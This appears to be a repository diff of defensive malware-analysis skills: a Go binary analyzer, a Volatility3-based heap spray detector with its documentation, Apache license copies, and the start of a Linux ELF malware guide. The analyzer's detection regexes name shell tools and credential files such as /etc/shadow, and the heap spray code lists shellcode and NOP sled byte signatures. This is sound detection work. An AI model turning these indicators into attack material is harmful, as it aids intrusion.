# Low runtime string count
if go_info.get("runtime_strings_found", 0) < 2:
indicators["obfuscated"] = True
indicators["techniques"].append("Low Go runtime string count - possible obfuscation")
return indicators
def generate_report(filepath):
"""Generate comprehensive Go malware analysis report."""
report = {
"file": filepath,
"sha256": compute_hash(filepath),
"size": os.path.getsize(filepath),
}
go_info = detect_go_binary(filepath)
report["go_detection"] = go_info
if not go_info["is_go_binary"]:
report["conclusion"] = "Not identified as a Go binary"
return report
strings_list = extract_go_strings(filepath)
report["total_strings"] = len(strings_list)
packages = extract_go_packages(strings_list)
report["packages"] = packages[:50]
suspicious = detect_suspicious_packages(packages)
report["suspicious_packages"] = suspicious
sections = analyze_sections(filepath)
report["sections"] = sections
obfuscation = detect_obfuscation(go_info, strings_list)
report["obfuscation"] = obfuscation
return report
if __name__ == "__main__":
print("=" * 60)
print("Go Malware Analysis Agent (Ghidra-assisted)")
print("Go binary detection, package extraction, obfuscation detection")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if not target or not os.path.exists(target):
print("\n[DEMO] Usage: python agent.py <go_binary>")
sys.exit(0)
report = generate_report(target)
go = report.get("go_detection", {})
print(f"\n[*] File: {target}")
print(f"[*] SHA-256: {report['sha256']}")
print(f"[*] Go binary: {go.get('is_go_binary', False)}")
print(f"[*] Go version: {go.get('go_version', 'unknown')}")
print(f"[*] Strings: {report.get('total_strings', 0)}")
print("\n--- Packages ---")
for pkg in report.get("packages", [])[:15]:
print(f" {pkg}")
print("\n--- Suspicious Packages ---")
for s in report.get("suspicious_packages", []):
print(f" [!] {s['package']}: {s['concern']}")
print("\n--- Obfuscation ---")
obf = report.get("obfuscation", {})
print(f" Obfuscated: {obf.get('obfuscated', False)}")
for t in obf.get("techniques", []):
print(f" {t}")
print(f"\n{json.dumps(report, indent=2, default=str)}")

View File

@@ -0,0 +1,162 @@
#!/usr/bin/env python3
"""
Go Malware Binary Analyzer
Extracts metadata, function names, dependencies, and suspicious
indicators from Go-compiled malware binaries.
Usage:
python process.py --file malware.exe --output report.json
"""
import argparse
import json
import re
import struct
import sys
from pathlib import Path
PCLNTAB_MAGICS = {
b'\xf0\xff\xff\xff': "Go 1.20+",
b'\xf1\xff\xff\xff': "Go 1.18-1.19",
b'\xfa\xff\xff\xff': "Go 1.16-1.17",
b'\xfb\xff\xff\xff': "Go 1.2-1.15",
}
def find_pclntab(data):
for magic, version in PCLNTAB_MAGICS.items():
offset = data.find(magic)
if offset != -1:
return offset, version
return None, None
def extract_go_version(data):
match = re.search(rb'go(\d+\.\d+(?:\.\d+)?)', data)
return match.group(1).decode() if match else "unknown"
def extract_functions(data):
func_pattern = re.compile(
rb'((?:main|runtime|fmt|net|os|crypto|encoding|io|sync|'
rb'syscall|reflect|strings|bytes|path|time|math|sort|'
rb'github\.com|golang\.org|gopkg\.in)[/\.][\w/.]+)'
)
functions = set()
for match in func_pattern.finditer(data):
name = match.group(1).decode('utf-8', errors='replace')
if 4 < len(name) < 200:
functions.add(name)
return sorted(functions)
def extract_dependencies(data):
dep_pattern = re.compile(
rb'((?:github\.com|gitlab\.com|golang\.org|gopkg\.in|'
rb'go\.etcd\.io|google\.golang\.org)/[\w./-]{5,80})'
)
deps = set()
for match in dep_pattern.finditer(data):
dep = match.group(1).decode('utf-8', errors='replace')
# Clean up trailing artifacts
dep = dep.rstrip('/.')
deps.add(dep)
return sorted(deps)
def extract_suspicious_strings(data):
interesting_patterns = [
rb'https?://[\w./:?&=-]+',
rb'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?::\d+)?',
rb'(?:cmd|powershell|bash|sh)(?:\.exe)?',
rb'(?:HKLM|HKCU)\\[^\x00]+',
rb'/etc/(?:passwd|shadow|crontab)',
]
results = {}
for pattern in interesting_patterns:
matches = re.findall(pattern, data)
if matches:
decoded = [m.decode('utf-8', errors='replace') for m in matches]
results[pattern.decode('utf-8', errors='replace')] = list(set(decoded))
return results
def categorize_functions(functions):
categories = {
"main_logic": [],
"networking": [],
"cryptography": [],
"os_execution": [],
"file_operations": [],
"third_party": [],
"runtime": [],
}
for func in functions:
fl = func.lower()
if func.startswith('main.'):
categories["main_logic"].append(func)
elif any(x in fl for x in ['net/', 'http', 'tcp', 'udp', 'dns']):
categories["networking"].append(func)
elif 'crypto' in fl:
categories["cryptography"].append(func)
elif any(x in fl for x in ['os/exec', 'syscall']):
categories["os_execution"].append(func)
elif any(x in fl for x in ['os.', 'io/', 'ioutil']):
categories["file_operations"].append(func)
elif any(x in fl for x in ['github.com', 'golang.org', 'gopkg.in']):
categories["third_party"].append(func)
elif func.startswith('runtime.'):
categories["runtime"].append(func)
return {k: v for k, v in categories.items() if v}
def analyze(filepath):
with open(filepath, 'rb') as f:
data = f.read()
report = {
"file": str(filepath),
"size": len(data),
"go_version": extract_go_version(data),
}
pclntab_offset, pclntab_version = find_pclntab(data)
report["pclntab"] = {
"offset": f"0x{pclntab_offset:x}" if pclntab_offset else None,
"version": pclntab_version,
}
functions = extract_functions(data)
report["total_functions"] = len(functions)
report["function_categories"] = categorize_functions(functions)
report["dependencies"] = extract_dependencies(data)
report["suspicious_strings"] = extract_suspicious_strings(data)
return report
def main():
parser = argparse.ArgumentParser(description="Go Malware Analyzer")
parser.add_argument("--file", required=True, help="Go binary to analyze")
parser.add_argument("--output", help="Output JSON report")
args = parser.parse_args()
report = analyze(args.file)
print(json.dumps(report, indent=2))
if args.output:
with open(args.output, 'w') as f:
json.dump(report, f, indent=2)
print(f"\n[+] Report saved to {args.output}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,64 @@
---
name: analyzing-heap-spray-exploitation
description: Detect and analyze heap spray attacks in memory dumps using Volatility3
plugins to identify NOP sled patterns, shellcode landing zones, and suspicious large
allocations in process virtual address space.
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware-analysis
- memory-forensics
- heap-spray
- volatility3
- exploit-analysis
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1203
- T1059.007
- T1106
---
# Analyzing Heap Spray Exploitation
## Overview
Heap spraying is an exploitation technique that fills large regions of a process's heap with attacker-controlled data (typically NOP sleds followed by shellcode) to increase the reliability of code execution exploits. This skill covers detecting heap spray artifacts in memory dumps using Volatility3's malfind, vadinfo, and memmap plugins, identifying suspicious contiguous memory allocations, scanning for NOP sled patterns (0x90, 0x0c0c0c0c), and extracting embedded shellcode for analysis.
## When to Use
- When investigating security incidents that require analyzing heap spray exploitation
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Python 3.9+ with `volatility3` framework installed
- Memory dump file (.raw, .vmem, .dmp format)
- Understanding of virtual memory layout and VAD (Virtual Address Descriptor) trees
- Familiarity with common shellcode patterns and NOP sled encodings
## Steps
### Step 1: Identify Suspicious Processes
Use Volatility3 windows.malfind to scan for processes with executable injected memory regions.
### Step 2: Analyze VAD Entries
Examine VAD tree entries using windows.vadinfo for large contiguous allocations with RWX permissions.
### Step 3: Scan for NOP Sled Patterns
Search suspicious memory regions for NOP sled signatures (0x90 sequences, 0x0c0c0c0c patterns).
### Step 4: Extract and Analyze Shellcode
Dump suspicious memory regions and identify shellcode using byte pattern analysis.
## Expected Output
JSON report with suspicious processes, heap spray indicators, NOP sled locations, memory region sizes, and extracted shellcode hashes.

View File

@@ -0,0 +1,55 @@
# API Reference: Analyzing Heap Spray Exploitation
## Volatility3 Plugins for Heap Spray Analysis
| Plugin | Command | Purpose |
|--------|---------|---------|
| malfind | `vol -f dump.raw windows.malfind` | Find injected executable memory regions |
| vadinfo | `vol -f dump.raw windows.vadinfo` | Virtual Address Descriptor details |
| memmap | `vol -f dump.raw windows.memmap --pid PID --dump` | Dump process memory to files |
| pslist | `vol -f dump.raw windows.pslist` | List running processes |
| handles | `vol -f dump.raw windows.handles --pid PID` | List process handles |
## Common Heap Spray NOP Sled Patterns
| Pattern | Hex | Description |
|---------|-----|-------------|
| x86 NOP | 0x90909090 | Classic NOP instruction |
| 0x0C landing | 0x0C0C0C0C | Common heap spray address target |
| 0x0D landing | 0x0D0D0D0D | Alternative spray address |
| 0x0A landing | 0x0A0A0A0A | Alternative spray address |
| 0x41 fill | 0x41414141 | "AAAA" padding fill |
## Shellcode Signatures
| Bytes | Mnemonic | Context |
|-------|----------|---------|
| FC E8 | CLD; CALL | Common shellcode prologue |
| 60 E8 | PUSHAD; CALL | Register-saving shellcode start |
| 31 C0 50 68 | XOR EAX; PUSH; PUSH | Stack setup for API call |
| E8 FF FF FF FF | CALL $+5 | Self-locating shellcode (GetPC) |
## Detection Thresholds
| Indicator | Threshold | Meaning |
|-----------|-----------|---------|
| Large allocation | >= 1 MB per region | Suspicious heap allocation |
| Total spray size | >= 50 MB per process | Strong heap spray indicator |
| NOP sled count | >= 20 repeated bytes | NOP sled detected |
| RWX permissions | PAGE_EXECUTE_READWRITE | Injected executable code |
## Install Volatility3
```bash
pip install volatility3
# Or from source:
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3 && pip install -e .
```
## References
- Volatility3 GitHub: https://github.com/volatilityfoundation/volatility3
- Volatility3 malfind: https://volatility3.readthedocs.io/en/latest/
- Heap Spray Techniques: https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
- DFRWS 2025 Workshop: https://webdiis.unizar.es/~ricardo/dfrws-eu-25-workshop/

View File

@@ -0,0 +1,219 @@
#!/usr/bin/env python3
"""Agent for analyzing heap spray exploitation in memory dumps.
Detects heap spray artifacts using Volatility3 by scanning for
NOP sled patterns, large contiguous allocations, and injected
executable regions in process virtual address space.
"""
# For authorized forensic analysis only
import argparse
import hashlib
import json
import os
import re
import subprocess
from collections import defaultdict
from datetime import datetime
from pathlib import Path
NOP_PATTERNS = {
"x86_nop": b"\x90" * 16,
"heap_spray_0c": b"\x0c" * 16,
"heap_spray_0d": b"\x0d" * 16,
"heap_spray_0a": b"\x0a" * 16,
"heap_spray_04": b"\x04" * 16,
"heap_spray_41": b"\x41" * 16,
}
SHELLCODE_MARKERS = [
b"\xfc\xe8", # CLD; CALL
b"\x60\xe8", # PUSHAD; CALL
b"\xeb\x10\x5a", # JMP SHORT; POP EDX
b"\x31\xc0\x50\x68", # XOR EAX; PUSH; PUSH
b"\xe8\xff\xff\xff\xff", # CALL $+5 (self-locating)
]
SUSPICIOUS_ALLOC_THRESHOLD = 0x100000 # 1 MB
class HeapSprayAnalyzer:
"""Detects heap spray exploitation artifacts in memory dumps."""
def __init__(self, memory_dump, output_dir="./heap_spray_analysis"):
self.memory_dump = memory_dump
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _run_vol3(self, plugin, extra_args=None):
"""Run a Volatility3 plugin and return stdout."""
cmd = ["vol", "-f", self.memory_dump, plugin]
if extra_args:
cmd.extend(extra_args)
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
return result.stdout
except (FileNotFoundError, subprocess.TimeoutExpired):
return ""
def run_malfind(self):
"""Run windows.malfind to detect injected executable memory."""
output = self._run_vol3("windows.malfind")
entries = []
current = {}
for line in output.splitlines():
parts = line.split()
if len(parts) >= 6 and parts[0].isdigit():
if current:
entries.append(current)
current = {
"pid": int(parts[0]),
"process": parts[1],
"start_addr": parts[2],
"end_addr": parts[3],
"protection": parts[5] if len(parts) > 5 else "",
}
elif current and line.strip().startswith("0x"):
hex_match = re.findall(r"[0-9a-fA-F]{2}", line.split(" ")[0] if " " in line else line)
if "hex_bytes" not in current:
current["hex_bytes"] = ""
current["hex_bytes"] += "".join(hex_match)
if current:
entries.append(current)
return entries
def run_vadinfo(self):
"""Run windows.vadinfo to find large suspicious allocations."""
output = self._run_vol3("windows.vadinfo")
large_allocs = []
for line in output.splitlines():
parts = line.split()
if len(parts) >= 5 and parts[0].isdigit():
try:
pid = int(parts[0])
start = int(parts[2], 16) if parts[2].startswith("0x") else 0
end = int(parts[3], 16) if parts[3].startswith("0x") else 0
size = end - start
if size >= SUSPICIOUS_ALLOC_THRESHOLD:
large_allocs.append({
"pid": pid, "process": parts[1],
"start": hex(start), "end": hex(end),
"size_bytes": size, "size_mb": round(size / (1024 * 1024), 2),
})
except (ValueError, IndexError):
continue
return large_allocs
def scan_dump_for_patterns(self, dump_path):
"""Scan a memory dump file for NOP sled and shellcode patterns."""
matches = {"nop_sleds": [], "shellcode_markers": []}
try:
with open(dump_path, "rb") as f:
data = f.read()
except (FileNotFoundError, PermissionError):
return matches
for name, pattern in NOP_PATTERNS.items():
offset = 0
count = 0
while True:
idx = data.find(pattern, offset)
if idx == -1:
break
count += 1
offset = idx + len(pattern)
if count > 100:
break
if count > 0:
matches["nop_sleds"].append({"pattern": name, "occurrences": count})
for marker in SHELLCODE_MARKERS:
idx = data.find(marker)
if idx != -1:
context = data[idx:idx + 64]
matches["shellcode_markers"].append({
"offset": hex(idx),
"bytes": context.hex()[:128],
"sha256": hashlib.sha256(context).hexdigest(),
})
return matches
def dump_process_memory(self, pid):
"""Dump a process's memory using Volatility3 memmap."""
dump_dir = self.output_dir / f"pid_{pid}"
dump_dir.mkdir(exist_ok=True)
self._run_vol3("windows.memmap", ["--pid", str(pid), "--dump",
"--output-dir", str(dump_dir)])
dumps = list(dump_dir.glob("*.dmp"))
return [str(d) for d in dumps]
def analyze(self):
"""Run full heap spray analysis pipeline."""
malfind_results = self.run_malfind()
large_allocs = self.run_vadinfo()
spray_candidates = defaultdict(list)
for alloc in large_allocs:
spray_candidates[alloc["pid"]].append(alloc)
for pid, allocs in spray_candidates.items():
total_mb = sum(a["size_mb"] for a in allocs)
if total_mb > 50:
self.findings.append({
"severity": "high", "type": "Heap Spray Indicator",
"detail": f"PID {pid}: {total_mb:.1f} MB in {len(allocs)} large allocations",
})
for entry in malfind_results:
hex_bytes = entry.get("hex_bytes", "")
if hex_bytes.count("90") > 20 or hex_bytes.count("0c") > 20:
self.findings.append({
"severity": "critical", "type": "NOP Sled in Injected Region",
"detail": f"PID {entry['pid']} ({entry['process']}): "
f"NOP sled at {entry['start_addr']}",
})
return {
"malfind_entries": malfind_results,
"large_allocations": large_allocs,
"spray_candidate_pids": list(spray_candidates.keys()),
}
def generate_report(self):
analysis = self.analyze()
report = {
"report_date": datetime.utcnow().isoformat(),
"memory_dump": self.memory_dump,
"malfind_count": len(analysis["malfind_entries"]),
"large_allocation_count": len(analysis["large_allocations"]),
**analysis,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "heap_spray_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2, default=str)
print(json.dumps(report, indent=2, default=str))
return report
def main():
parser = argparse.ArgumentParser(
description="Analyze memory dumps for heap spray exploitation artifacts"
)
parser.add_argument("memory_dump", help="Path to memory dump file (.raw, .vmem, .dmp)")
parser.add_argument("--output-dir", default="./heap_spray_analysis",
help="Output directory for report and dumps")
parser.add_argument("--alloc-threshold", type=int, default=0x100000,
help="Minimum allocation size in bytes to flag (default: 1MB)")
args = parser.parse_args()
os.makedirs(args.output_dir, exist_ok=True)
analyzer = HeapSprayAnalyzer(args.memory_dump, output_dir=args.output_dir)
analyzer.generate_report()
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,370 @@
---
name: analyzing-linux-elf-malware
description: 'Analyze malicious Linux ELF binaries — botnets, cryptominers, ransomware,
and rootkits targeting Linux servers, containers, and cloud infrastructure — through
static analysis, dynamic tracing, and reverse engineering of x86_64 and ARM samples.
Use when investigating Linux malware, triaging a suspicious ELF binary, assessing
a compromised Linux server, or analyzing container-targeted malware.
'
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware
- Linux
- ELF
- reverse-engineering
- server-malware
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1027
- T1059.004
- T1620
- T1574.006
mitre_f3:
version: '1.1'
tactics:
- positioning
- monetization
- reconnaissance
techniques:
- id: T1219
name: Remote Access Tools
tactic: positioning
source: attack
- id: T1555
name: Credentials from Password Stores
tactic: reconnaissance
source: attack
- id: F1018
name: Convert to Cryptocurrency
tactic: monetization
source: f3
- id: F1047
name: Transfer of funds
tactic: monetization
source: f3
---
# Analyzing Linux ELF Malware
## When to Use
- A Linux server or container has been compromised and suspicious ELF binaries are found
- Analyzing Linux botnets (Mirai, Gafgyt, XorDDoS), cryptominers, or ransomware
